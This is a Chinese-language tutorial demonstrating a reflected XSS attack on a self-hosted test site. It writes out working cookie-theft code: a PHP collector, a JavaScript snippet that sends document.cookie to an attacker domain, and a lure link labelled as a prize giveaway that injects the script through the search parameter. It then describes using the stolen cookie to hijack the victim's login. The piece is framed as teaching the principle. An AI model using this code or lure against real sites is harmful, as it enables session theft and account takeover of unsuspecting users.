反射型xss實戰演示
我們知道,XSS攻擊大致分為三種類型 :Persistent型(持久型),Non-persistent(反射型)及Dom-based型。而反射型是最常用,也是使用得最廣的一種攻擊方式。它通過給別人發送帶有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接才能引起。
今天,通過一個反射型xss的實戰演示,讓大家詳細了解這種攻擊方式。
準備工作:
(1) 一個有反射型xss漏洞的網站(自己搭的虛擬站點,域名為xsstest.qq.com),該域名下有一個首頁(index.html),一個登陸頁面(login.html),一個登陸的cgi(login.php),一個用于搜索的cgi(search.php)。界面如下:

由于xss漏洞一般發生于與用戶交互的地方,因此搜索框是我們關注的重點。
(2)我們自己的黑客網站(另一個虛擬站點 hacker.qq.com)。該域名下有一個hack.php,用以收集用戶的cookie,一個hacker.js用以向hack.php發請求。
發現漏洞
我們首先需要找出站點的xss漏洞發生在什么地方,上面提到,與用戶交互的地方是我們的主要關注點。。好,現在我們隨意輸入幾個字符“計算機”,點擊搜索:
搜索界面如下(這是自己寫的一個簡陋的搜索界面):

這里發現了我們輸入的字符出現在了搜索界面上(很多電商網站應該都是這種界面頁面形式吧)。。好,這次我們輸入一些特殊字符來試試“”,點擊搜索:

出現了我們心儀的小彈窗,看來search.php未對用戶輸入的關鍵詞作任何處理,便直接輸出到界面上,既然xss漏洞出現,那么便可以開始實施攻擊了,這次攻擊的目的是盜取用戶的cookie。
實施攻擊
首先我們來寫我們自己的手機cookie CGI(hack.php),代碼如下:
- <?php
- $cookie = $_GET['q'];
- var_dump($cookie);
- $myFile = "cookie.txt";
- file_put_contents($myFile, $cookie);
- ?>
接著寫發送請求的hacker.js,代碼如下:
var img = new Image(); img.src = "http://hacker.qq.com/hack.php?q="+document.cookie; document.body.append(img);
好的,現在可以構造一個連接來欺騙用戶了:
<a href="http://xsstest.qq.com/search.php?q=%3Cscript+
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">點擊就送998</a>
看search.php 后的q參數 ,解碼后為
<script src="http://hacker.qq.com/hacker.js"></script>
實際的作用是模擬用戶在搜索框中輸入
<script src="http://hacker.qq.com/hacker.js"></script>
后點擊搜索。search.php未經處理的將其直接輸入到頁面,使其在html文檔中有了新的語義。它會加載hacker.qq.com域下的haker.js。
好,當用戶登陸了網站后,再欺騙用戶點擊這個鏈接,這時候,看hacker.qq.com域下,發現多了一個cookie.txt文件,打開來:

發現用戶用于登陸的賬號,密碼都在內,密碼是經過加密的。。OK,現在我們便可以拿著這個cookie來獲取用戶的登陸態了。
整個攻擊過程結束。
當然,現實過程中,很少有網站有如此明顯的xss漏洞。。這里只是給大家示范了一下反射型xss的原理,現實中的漏洞雖然五花八門,但是本質是不變的。。大家可以進一步研究。